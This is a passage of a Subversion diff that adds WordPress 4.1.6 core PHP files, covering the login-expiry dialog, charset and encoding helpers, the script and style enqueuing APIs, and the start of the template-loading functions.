+	 * Passing a falsey value to the filter will effectively short-circuit
+	 * loading the authentication check.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param bool      $show   Whether to load the authentication check.
+	 * @param WP_Screen $screen The current screen object.
+	 */
+	if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
+		wp_enqueue_style( 'wp-auth-check' );
+		wp_enqueue_script( 'wp-auth-check' );
+
+		add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
+		add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
+	}
+}
+
+/**
+ * Output the HTML that shows the wp-login dialog when the user is no longer logged in.
+ *
+ * @since 3.6.0
+ */
+function wp_auth_check_html() {
+	$login_url = wp_login_url();
+	$current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
+	$same_domain = ( strpos( $login_url, $current_domain ) === 0 );
+
+	/**
+	 * Filter whether the authentication check originated at the same domain.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param bool $same_domain Whether the authentication check originated at the same domain.
+	 */
+	$same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
+	$wrap_class = $same_domain ? 'hidden' : 'hidden fallback';
+
+	?>
+	<div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
+	<div id="wp-auth-check-bg"></div>
+	<div id="wp-auth-check">
+	<div class="wp-auth-check-close" tabindex="0" title="<?php esc_attr_e('Close'); ?>"></div>
+	<?php
+
+	if ( $same_domain ) {
+		?>
+		<div id="wp-auth-check-form" data-src="<?php echo esc_url( add_query_arg( array( 'interim-login' => 1 ), $login_url ) ); ?>"></div>
+		<?php
+	}
+
+	?>
+	<div class="wp-auth-fallback">
+		<p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e('Session expired'); ?></b></p>
+		<p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e('Please log in again.'); ?></a>
+		<?php _e('The login page will open in a new window. After logging in you can close it and return to this page.'); ?></p>
+	</div>
+	</div>
+	</div>
+	<?php
+}
+
+/**
+ * Check whether a user is still logged in, for the heartbeat.
+ *
+ * Send a result that shows a log-in box if the user is no longer logged in,
+ * or if their cookie is within the grace period.
+ *
+ * @since 3.6.0
+ *
+ * @param array|object $response  The Heartbeat response object or array.
+ * @return array|object $response The Heartbeat response object or array with 'wp-auth-check'
+ *                                value set.
+ */
+function wp_auth_check( $response ) {
+	$response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
+	return $response;
+}
+
+/**
+ * Return RegEx body to liberally match an opening HTML tag.
+ *
+ * Matches an opening HTML tag that:
+ * 1. Is self-closing or
+ * 2. Has no body but has a closing tag of the same name or
+ * 3. Contains a body and a closing tag of the same name
+ *
+ * Note: this RegEx does not balance inner tags and does not attempt
+ * to produce valid HTML
+ *
+ * @since 3.6.0
+ *
+ * @param string $tag An HTML tag name. Example: 'video'.
+ * @return string Tag RegEx.
+ */
+function get_tag_regex( $tag ) {
+	if ( empty( $tag ) )
+		return;
+	return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
+}
+
+/**
+ * Retrieve a canonical form of the provided charset appropriate for passing to PHP
+ * functions such as htmlspecialchars() and charset html attributes.
+ *
+ * @since 3.6.0
+ * @access private
+ *
+ * @see https://core.trac.wordpress.org/ticket/23688
+ *
+ * @param string $charset A charset name.
+ * @return string The canonical form of the charset.
+ */
+function _canonical_charset( $charset ) {
+	if ( 'UTF-8' === $charset || 'utf-8' === $charset || 'utf8' === $charset ||
+		'UTF8' === $charset )
+		return 'UTF-8';
+
+	if ( 'ISO-8859-1' === $charset || 'iso-8859-1' === $charset ||
+		'iso8859-1' === $charset || 'ISO8859-1' === $charset )
+		return 'ISO-8859-1';
+
+	return $charset;
+}
+
+/**
+ * Set the mbstring internal encoding to a binary safe encoding when func_overload
+ * is enabled.
+ *
+ * When mbstring.func_overload is in use for multi-byte encodings, the results from
+ * strlen() and similar functions respect the utf8 characters, causing binary data
+ * to return incorrect lengths.
+ *
+ * This function overrides the mbstring encoding to a binary-safe encoding, and
+ * resets it to the users expected encoding afterwards through the
+ * `reset_mbstring_encoding` function.
+ *
+ * It is safe to recursively call this function, however each
+ * `mbstring_binary_safe_encoding()` call must be followed up with an equal number
+ * of `reset_mbstring_encoding()` calls.
+ *
+ * @since 3.7.0
+ *
+ * @see reset_mbstring_encoding()
+ *
+ * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
+ *                    Default false.
+ */
+function mbstring_binary_safe_encoding( $reset = false ) {
+	static $encodings = array();
+	static $overloaded = null;
+
+	if ( is_null( $overloaded ) )
+		$overloaded = function_exists( 'mb_internal_encoding' ) && ( ini_get( 'mbstring.func_overload' ) & 2 );
+
+	if ( false === $overloaded )
+		return;
+
+	if ( ! $reset ) {
+		$encoding = mb_internal_encoding();
+		array_push( $encodings, $encoding );
+		mb_internal_encoding( 'ISO-8859-1' );
+	}
+
+	if ( $reset && $encodings ) {
+		$encoding = array_pop( $encodings );
+		mb_internal_encoding( $encoding );
+	}
+}
+
+/**
+ * Reset the mbstring internal encoding to a users previously set encoding.
+ *
+ * @see mbstring_binary_safe_encoding()
+ *
+ * @since 3.7.0
+ */
+function reset_mbstring_encoding() {
+	mbstring_binary_safe_encoding( true );
+}
+
+/**
+ * Filter/validate a variable as a boolean.
+ *
+ * Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`.
+ *
+ * @since 4.0.0
+ *
+ * @param mixed $var Boolean value to validate.
+ * @return bool Whether the value is validated.
+ */
+function wp_validate_boolean( $var ) {
+	if ( is_bool( $var ) ) {
+		return $var;
+	}
+
+	if ( is_string( $var ) && 'false' === strtolower( $var ) ) {
+		return false;
+	}
+
+	return (bool) $var;
+}
Index: /tags/4.1.6/src/wp-includes/functions.wp-scripts.php
===================================================================
--- /tags/4.1.6/src/wp-includes/functions.wp-scripts.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/functions.wp-scripts.php	(revision 33402)
@@ -0,0 +1,260 @@
+<?php
+/**
+ * BackPress Scripts Procedural API
+ *
+ * @since 2.6.0
+ *
+ * @package WordPress
+ * @subpackage BackPress
+ */
+
+/**
+ * Print scripts in document head that are in the $handles queue.
+ *
+ * Called by admin-header.php and wp_head hook. Since it is called by wp_head on every page load,
+ * the function does not instantiate the WP_Scripts object unless script names are explicitly passed.
+ * Makes use of already-instantiated $wp_scripts global if present. Use provided wp_print_scripts
+ * hook to register/enqueue new scripts.
+ *
+ * @see WP_Scripts::do_items()
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 2.6.0
+ *
+ * @param string|bool|array $handles Optional. Scripts to be printed. Default 'false'.
+ * @return array On success, a processed array of WP_Dependencies items; otherwise, an empty array.
+ */
+function wp_print_scripts( $handles = false ) {
+	/**
+	 * Fires before scripts in the $handles queue are printed.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'wp_print_scripts' );
+	if ( '' === $handles ) // for wp_head
+		$handles = false;
+
+	global $wp_scripts;
+	if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+
+		if ( !$handles )
+			return array(); // No need to instantiate if nothing is there.
+		else
+			$wp_scripts = new WP_Scripts();
+	}
+
+	return $wp_scripts->do_items( $handles );
+}
+
+/**
+ * Register a new script.
+ *
+ * Registers a script to be linked later using the wp_enqueue_script() function.
+ *
+ * @see WP_Dependencies::add(), WP_Dependencies::add_data()
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 2.6.0
+ *
+ * @param string      $handle    Name of the script. Should be unique.
+ * @param string      $src       Path to the script from the WordPress root directory. Example: '/js/myscript.js'.
+ * @param array       $deps      Optional. An array of registered script handles this script depends on. Set to false if there
+ *                               are no dependencies. Default empty array.
+ * @param string|bool $ver       Optional. String specifying script version number, if it has one, which is concatenated
+ *                               to end of path as a query string. If no version is specified or set to false, a version
+ *                               number is automatically added equal to current installed WordPress version.
+ *                               If set to null, no version is added. Default 'false'. Accepts 'false', 'null', or 'string'.
+ * @param bool        $in_footer Optional. Whether to enqueue the script before </head> or before </body>.
+ *                               Default 'false'. Accepts 'false' or 'true'.
+ */
+function wp_register_script( $handle, $src, $deps = array(), $ver = false, $in_footer = false ) {
+	global $wp_scripts;
+	if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_scripts = new WP_Scripts();
+	}
+
+	$wp_scripts->add( $handle, $src, $deps, $ver );
+	if ( $in_footer )
+		$wp_scripts->add_data( $handle, 'group', 1 );
+}
+
+/**
+ * Localize a script.
+ *
+ * Works only if the script has already been added.
+ *
+ * Accepts an associative array $l10n and creates a JavaScript object:
+ *
+ *     "$object_name" = {
+ *         key: value,
+ *         key: value,
+ *         ...
+ *     }
+ *
+ *
+ * @see WP_Dependencies::localize()
+ * @link https://core.trac.wordpress.org/ticket/11520
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 2.6.0
+ *
+ * @todo Documentation cleanup
+ *
+ * @param string $handle      Script handle the data will be attached to.
+ * @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable.
+ *                            Example: '/[a-zA-Z0-9_]+/'.
+ * @param array $l10n         The data itself. The data can be either a single or multi-dimensional array.
+ * @return bool True if the script was successfully localized, false otherwise.
+ */
+function wp_localize_script( $handle, $object_name, $l10n ) {
+	global $wp_scripts;
+	if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+
+		return false;
+	}
+
+	return $wp_scripts->localize( $handle, $object_name, $l10n );
+}
+
+/**
+ * Remove a registered script.
+ *
+ * Note: there are intentional safeguards in place to prevent critical admin scripts,
+ * such as jQuery core, from being unregistered.
+ *
+ * @see WP_Dependencies::remove()
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 2.6.0
+ *
+ * @param string $handle Name of the script to be removed.
+ */
+function wp_deregister_script( $handle ) {
+	global $wp_scripts;
+	if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_scripts = new WP_Scripts();
+	}
+
+	/**
+	 * Do not allow accidental or negligent de-registering of critical scripts in the admin.
+	 * Show minimal remorse if the correct hook is used.
+	 */
+	$current_filter = current_filter();
+	if ( ( is_admin() && 'admin_enqueue_scripts' !== $current_filter ) ||
+		( 'wp-login.php' === $GLOBALS['pagenow'] && 'login_enqueue_scripts' !== $current_filter )
+	) {
+		$no = array(
+			'jquery', 'jquery-core', 'jquery-migrate', 'jquery-ui-core', 'jquery-ui-accordion',
+			'jquery-ui-autocomplete', 'jquery-ui-button', 'jquery-ui-datepicker', 'jquery-ui-dialog',
+			'jquery-ui-draggable', 'jquery-ui-droppable', 'jquery-ui-menu', 'jquery-ui-mouse',
+			'jquery-ui-position', 'jquery-ui-progressbar', 'jquery-ui-resizable', 'jquery-ui-selectable',
+			'jquery-ui-slider', 'jquery-ui-sortable', 'jquery-ui-spinner', 'jquery-ui-tabs',
+			'jquery-ui-tooltip', 'jquery-ui-widget', 'underscore', 'backbone',
+		);
+
+		if ( in_array( $handle, $no ) ) {
+			$message = sprintf( __( 'Do not deregister the %1$s script in the administration area. To target the frontend theme, use the %2$s hook.' ),
+				"<code>$handle</code>", '<code>wp_enqueue_scripts</code>' );
+			_doing_it_wrong( __FUNCTION__, $message, '3.6' );
+			return;
+		}
+	}
+
+	$wp_scripts->remove( $handle );
+}
+
+/**
+ * Enqueue a script.
+ *
+ * Registers the script if $src provided (does NOT overwrite), and enqueues it.
+ *
+ * @see WP_Dependencies::add(), WP_Dependencies::add_data(), WP_Dependencies::enqueue()
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 2.6.0
+
+ * @param string      $handle    Name of the script.
+ * @param string|bool $src       Path to the script from the root directory of WordPress. Example: '/js/myscript.js'.
+ * @param array       $deps      An array of registered handles this script depends on. Default empty array.
+ * @param string|bool $ver       Optional. String specifying the script version number, if it has one. This parameter
+ *                               is used to ensure that the correct version is sent to the client regardless of caching,
+ *                               and so should be included if a version number is available and makes sense for the script.
+ * @param bool        $in_footer Optional. Whether to enqueue the script before </head> or before </body>.
+ *                               Default 'false'. Accepts 'false' or 'true'.
+ */
+function wp_enqueue_script( $handle, $src = false, $deps = array(), $ver = false, $in_footer = false ) {
+	global $wp_scripts;
+	if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_scripts = new WP_Scripts();
+	}
+
+	if ( $src ) {
+		$_handle = explode('?', $handle);
+		$wp_scripts->add( $_handle[0], $src, $deps, $ver );
+		if ( $in_footer )
+			$wp_scripts->add_data( $_handle[0], 'group', 1 );
+	}
+	$wp_scripts->enqueue( $handle );
+}
+
+/**
+ * Remove a previously enqueued script.
+ *
+ * @see WP_Dependencies::dequeue()
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 3.1.0
+ *
+ * @param string $handle Name of the script to be removed.
+ */
+function wp_dequeue_script( $handle ) {
+	global $wp_scripts;
+	if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_scripts = new WP_Scripts();
+	}
+
+	$wp_scripts->dequeue( $handle );
+}
+
+/**
+ * Check whether a script has been added to the queue.
+ *
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 2.8.0
+ * @since 3.5.0 'enqueued' added as an alias of the 'queue' list.
+ *
+ * @param string $handle Name of the script.
+ * @param string $list   Optional. Status of the script to check. Default 'enqueued'.
+ *                       Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
+ * @return bool Whether the script script is queued.
+ */
+function wp_script_is( $handle, $list = 'enqueued' ) {
+	global $wp_scripts;
+	if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_scripts = new WP_Scripts();
+	}
+
+	return (bool) $wp_scripts->query( $handle, $list );
+}
Index: /tags/4.1.6/src/wp-includes/functions.wp-styles.php
===================================================================
--- /tags/4.1.6/src/wp-includes/functions.wp-styles.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/functions.wp-styles.php	(revision 33402)
@@ -0,0 +1,245 @@
+<?php
+/**
+ * BackPress Styles Procedural API
+ *
+ * @since 2.6.0
+ *
+ * @package WordPress
+ * @subpackage BackPress
+ */
+
+/**
+ * Display styles that are in the $handles queue.
+ *
+ * Passing an empty array to $handles prints the queue,
+ * passing an array with one string prints that style,
+ * and passing an array of strings prints those styles.
+ *
+ * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
+ *
+ * @since 2.6.0
+ *
+ * @param string|bool|array $handles Styles to be printed. Default 'false'.
+ * @return array On success, a processed array of WP_Dependencies items; otherwise, an empty array.
+ */
+function wp_print_styles( $handles = false ) {
+	if ( '' === $handles ) // for wp_head
+		$handles = false;
+	/**
+	 * Fires before styles in the $handles queue are printed.
+	 *
+	 * @since 2.6.0
+	 */
+	if ( ! $handles )
+		do_action( 'wp_print_styles' );
+
+	global $wp_styles;
+	if ( ! is_a( $wp_styles, 'WP_Styles' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+
+		if ( !$handles )
+			return array(); // No need to instantiate if nothing is there.
+		else
+			$wp_styles = new WP_Styles();
+	}
+
+	return $wp_styles->do_items( $handles );
+}
+
+/**
+ * Add extra CSS styles to a registered stylesheet.
+ *
+ * Styles will only be added if the stylesheet in already in the queue.
+ * Accepts a string $data containing the CSS. If two or more CSS code blocks
+ * are added to the same stylesheet $handle, they will be printed in the order
+ * they were added, i.e. the latter added styles can redeclare the previous.
+ *
+ * @see WP_Styles::add_inline_style()
+ * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
+ *
+ * @since 3.3.0
+ *
+ * @param string $handle Name of the stylesheet to add the extra styles to. Must be lowercase.
+ * @param string $data   String containing the CSS styles to be added.
+ * @return bool True on success, false on failure.
+ */
+function wp_add_inline_style( $handle, $data ) {
+	global $wp_styles;
+	if ( ! is_a( $wp_styles, 'WP_Styles' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_styles = new WP_Styles();
+	}
+
+	if ( false !== stripos( $data, '</style>' ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Do not pass style tags to wp_add_inline_style().' ), '3.7' );
+		$data = trim( preg_replace( '#<style[^>]*>(.*)</style>#is', '$1', $data ) );
+	}
+
+	return $wp_styles->add_inline_style( $handle, $data );
+}
+
+/**
+ * Register a CSS stylesheet.
+ *
+ * @see WP_Dependencies::add()
+ * @link http://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types.
+ * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
+ *
+ * @since 2.6.0
+ *
+ * @param string      $handle Name of the stylesheet.
+ * @param string|bool $src    Path to the stylesheet from the WordPress root directory. Example: '/css/mystyle.css'.
+ * @param array       $deps   An array of registered style handles this stylesheet depends on. Default empty array.
+ * @param string|bool $ver    String specifying the stylesheet version number. Used to ensure that the correct version
+ *                            is sent to the client regardless of caching. Default 'false'. Accepts 'false', 'null', or 'string'.
+ * @param string      $media  Optional. The media for which this stylesheet has been defined.
+ *                            Default 'all'. Accepts 'all', 'aural', 'braille', 'handheld', 'projection', 'print',
+ *                            'screen', 'tty', or 'tv'.
+ */
+function wp_register_style( $handle, $src, $deps = array(), $ver = false, $media = 'all' ) {
+	global $wp_styles;
+	if ( ! is_a( $wp_styles, 'WP_Styles' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_styles = new WP_Styles();
+	}
+
+	$wp_styles->add( $handle, $src, $deps, $ver, $media );
+}
+
+/**
+ * Remove a registered stylesheet.
+ *
+ * @see WP_Dependencies::remove()
+ * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
+ *
+ * @since 2.1.0
+ *
+ * @param string $handle Name of the stylesheet to be removed.
+ */
+function wp_deregister_style( $handle ) {
+	global $wp_styles;
+	if ( ! is_a( $wp_styles, 'WP_Styles' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_styles = new WP_Styles();
+	}
+
+	$wp_styles->remove( $handle );
+}
+
+/**
+ * Enqueue a CSS stylesheet.
+ *
+ * Registers the style if source provided (does NOT overwrite) and enqueues.
+ *
+ * @see WP_Dependencies::add(), WP_Dependencies::enqueue()
+ * @link http://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types.
+ * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
+ *
+ * @since 2.6.0
+ *
+ * @param string      $handle Name of the stylesheet.
+ * @param string|bool $src    Path to the stylesheet from the root directory of WordPress. Example: '/css/mystyle.css'.
+ * @param array       $deps   An array of registered style handles this stylesheet depends on. Default empty array.
+ * @param string|bool $ver    String specifying the stylesheet version number, if it has one. This parameter is used
+ *                            to ensure that the correct version is sent to the client regardless of caching, and so
+ *                            should be included if a version number is available and makes sense for the stylesheet.
+ * @param string      $media  Optional. The media for which this stylesheet has been defined.
+ *                            Default 'all'. Accepts 'all', 'aural', 'braille', 'handheld', 'projection', 'print',
+ *                            'screen', 'tty', or 'tv'.
+ */
+function wp_enqueue_style( $handle, $src = false, $deps = array(), $ver = false, $media = 'all' ) {
+	global $wp_styles;
+	if ( ! is_a( $wp_styles, 'WP_Styles' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_styles = new WP_Styles();
+	}
+
+	if ( $src ) {
+		$_handle = explode('?', $handle);
+		$wp_styles->add( $_handle[0], $src, $deps, $ver, $media );
+	}
+	$wp_styles->enqueue( $handle );
+}
+
+/**
+ * Remove a previously enqueued CSS stylesheet.
+ *
+ * @see WP_Dependencies::dequeue()
+ * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
+ *
+ * @since 3.1.0
+ *
+ * @param string $handle Name of the stylesheet to be removed.
+ */
+function wp_dequeue_style( $handle ) {
+	global $wp_styles;
+	if ( ! is_a( $wp_styles, 'WP_Styles' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_styles = new WP_Styles();
+	}
+
+	$wp_styles->dequeue( $handle );
+}
+
+/**
+ * Check whether a CSS stylesheet has been added to the queue.
+ *
+ * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
+ *
+ * @since 2.8.0
+ *
+ * @param string $handle Name of the stylesheet.
+ * @param string $list   Optional. Status of the stylesheet to check. Default 'enqueued'.
+ *                       Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
+ * @return bool Whether style is queued.
+ */
+function wp_style_is( $handle, $list = 'enqueued' ) {
+	global $wp_styles;
+	if ( ! is_a( $wp_styles, 'WP_Styles' ) ) {
+		if ( ! did_action( 'init' ) )
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+				'<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>login_enqueue_scripts</code>' ), '3.3' );
+		$wp_styles = new WP_Styles();
+	}
+
+	return (bool) $wp_styles->query( $handle, $list );
+}
+
+/**
+ * Add metadata to a CSS stylesheet.
+ *
+ * Works only if the stylesheet has already been added.
+ *
+ * Possible values for $key and $value:
+ * 'conditional' string      Comments for IE 6, lte IE 7 etc.
+ * 'rtl'         bool|string To declare an RTL stylesheet.
+ * 'suffix'      string      Optional suffix, used in combination with RTL.
+ * 'alt'         bool        For rel="alternate stylesheet".
+ * 'title'       string      For preferred/alternate stylesheets.
+ *
+ * @see WP_Dependency::add_data()
+ *
+ * @since 3.6.0
+ *
+ * @param string $handle Name of the stylesheet.
+ * @param string $key    Name of data point for which we're storing a value.
+ *                       Accepts 'conditional', 'rtl' and 'suffix', 'alt' and 'title'.
+ * @param mixed  $value  String containing the CSS data to be added.
+ * @return bool True on success, false on failure.
+ */
+function wp_style_add_data( $handle, $key, $value ) {
+	global $wp_styles;
+	return $wp_styles->add_data( $handle, $key, $value );
+}
Index: /tags/4.1.6/src/wp-includes/general-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/general-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/general-template.php	(revision 33402)
@@ -0,0 +1,3143 @@
+<?php
+/**
+ * General template tags that can go anywhere in a template.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Load header template.
+ *
+ * Includes the header template for a theme or if a name is specified then a
+ * specialised header will be included.
+ *
+ * For the parameter, if the file is called "header-special.php" then specify
+ * "special".
+ *
+ * @since 1.5.0
+ *
+ * @param string $name The name of the specialised header.
+ */
+function get_header( $name = null ) {
+	/**
+	 * Fires before the header template file is loaded.
+	 *
+	 * The hook allows a specific header template file to be used in place of the
+	 * default header template file. If your file is called header-new.php,
+	 * you would specify the filename in the hook as get_header( 'new' ).
+	 *
+	 * @since 2.1.0
+	 * @since 2.8.0 $name parameter added.
+	 *
+	 * @param string $name Name of the specific header file to use.
+	 */
+	do_action( 'get_header', $name );
+
+	$templates = array();
+	$name = (string) $name;
+	if ( '' !== $name )
+		$templates[] = "header-{$name}.php";
+
+	$templates[] = 'header.php';
+
+	// Backward compat code will be removed in a future release
+	if ('' == locate_template($templates, true))
+		load_template( ABSPATH . WPINC . '/theme-compat/header.php');
+}
+
+/**
+ * Load footer template.
+ *
+ * Includes the footer template for a theme or if a name is specified then a
+ * specialised footer will be included.
+ *
+ * For the parameter, if the file is called "footer-special.php" then specify
+ * "special".
+ *
+ * @since 1.5.0
+ *
+ * @param string $name The name of the specialised footer.
+ */
+function get_footer( $name = null ) {
+	/**
+	 * Fires before the footer template file is loaded.
+	 *
+	 * The hook allows a specific footer template file to be used in place of the
+	 * default footer template file. If your file is called footer-new.php,
+	 * you would specify the filename in the hook as get_footer( 'new' ).
+	 *
+	 * @since 2.1.0
+	 * @since 2.8.0 $name parameter added.
+	 *
+	 * @param string $name Name of the specific footer file to use.
+	 */
+	do_action( 'get_footer', $name );
+
+	$templates = array();
+	$name = (string) $name;
+	if ( '' !== $name )
+		$templates[] = "footer-{$name}.php";
+
+	$templates[] = 'footer.php';
+
+	// Backward compat code will be removed in a future release
+	if ('' == locate_template($templates, true))
+		load_template( ABSPATH . WPINC . '/theme-compat/footer.php');
+}
+
+/**
+ * Load sidebar template.
+ *
+ * Includes the sidebar template for a theme or if a name is specified then a
+ * specialised sidebar will be included.
+ *
+ * For the parameter, if the file is called "sidebar-special.php" then specify
+ * "special".
+ *
+ * @since 1.5.0
+ *
+ * @param string $name The name of the specialised sidebar.
+ */
+function get_sidebar( $name = null ) {
+	/**
+	 * Fires before the sidebar template file is loaded.
+	 *
+	 * The hook allows a specific sidebar template file to be used in place of the
+	 * default sidebar template file. If your file is called sidebar-new.php,
+	 * you would specify the filename in the hook as get_sidebar( 'new' ).
+	 *
+	 * @since 2.2.0
+	 * @since 2.8.0 $name parameter added.
+	 *
+	 * @param string $name Name of the specific sidebar file to use.
+	 */
+	do_action( 'get_sidebar', $name );
+
+	$templates = array();
+	$name = (string) $name;
+	if ( '' !== $name )
+		$templates[] = "sidebar-{$name}.php";
+
+	$templates[] = 'sidebar.php';
+
+	// Backward compat code will be removed in a future release
+	if ('' == locate_template($templates, true))
+		load_template( ABSPATH . WPINC . '/theme-compat/sidebar.php');
+}
+
+/**
+ * Load a template part into a template
+ *
+ * Makes it easy for a theme to reuse sections of code in a easy to overload way
+ * for child themes.
+ *
+ * Includes the named template part for a theme or if a name is specified then a
+ * specialised part will be included. If the theme contains no {slug}.php file
+ * then no template will be included.
+ *
+ * The template is included using require, not require_once, so you may include the
+ * same template part multiple times.
+ *
+ * For the $name parameter, if the file is called "{slug}-special.php" then specify
+ * "special".
+ *
+ * @since 3.0.0
+ *
+ * @param string $slug The slug name for the generic template.
+ * @param string $name The name of the specialised template.
+ */
+function get_template_part( $slug, $name = null ) {
+	/**
+	 * Fires before the specified template part file is loaded.
+	 *
+	 * The dynamic portion of the hook name, `$slug`, refers to the slug name
+	 * for the generic template part.
+	 *
+	 * @since 3.0.0
